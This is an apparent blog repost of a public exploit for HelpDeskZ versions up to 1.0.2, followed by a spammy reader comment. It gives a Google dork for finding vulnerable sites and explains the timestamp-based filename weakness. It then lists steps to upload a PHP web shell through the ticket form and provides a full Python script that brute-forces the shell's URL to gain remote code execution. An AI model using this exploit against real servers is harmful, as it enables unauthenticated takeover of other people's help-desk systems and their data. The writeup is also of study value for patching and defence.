Rabu, 30 November 2016
'''# Exploit Title: HelpDeskZ <= v1.0.2 - Unauthenticated Shell Upload# Google Dork: intext:"Help Desk Software by HelpDeskZ"# Date: 2016-08-26# Exploit Author: Lars Morgenroth - @krankoPwnz# Vendor Homepage: http://www.helpdeskz.com/# Software Link: https://github.com/evolutionscript/HelpDeskZ-1.0/archive/master.zip# Version: <= v1.0.2# Tested on:# CVE :HelpDeskZ <= v1.0.2 suffers from an unauthenticated shell upload vulnerability.The software in the default configuration allows upload for .php-Files ( ?!?! ). I think the developers thought it was no risk, because the filenames get "obfuscated" when they are uploaded. However, there is a weakness in the rename function of the uploaded file:/controllers <https://github.com/evolutionscript/HelpDeskZ-1.0/tree/006662bb856e126a38f2bb76df44a2e4e3d37350/controllers>/*submit_ticket_controller.php - Line 141*$filename = md5($_FILES['attachment']['name'].time()).".".$ext;So by guessing the time the file was uploaded, we can get RCE.Steps to reproduce:http://localhost/helpdeskz/?v=submit_ticket&action=displayFormEnter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded:exploit.py http://localhost/helpdeskz/ phpshell.php ''' import hashlibimport timeimport sysimport requestsprint 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'if len(sys.argv) < 3: print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0]) sys.exit(1)helpdeskzBaseUrl = sys.argv[1]fileName = sys.argv[2]currentTime = int(time.time())for x in range(0, 300): plaintext = fileName + str(currentTime - x) md5hash = hashlib.md5(plaintext).hexdigest() url = helpdeskzBaseUrl+md5hash+'.php' response = requests.head(url) if response.status_code == 200: print "found!" print url sys.exit(0)print "Sorry, I did not find anything"
That was really nice. I recently updated privacy policy and DMCA of my site. Can you please check and say is it okey?
BalasHapus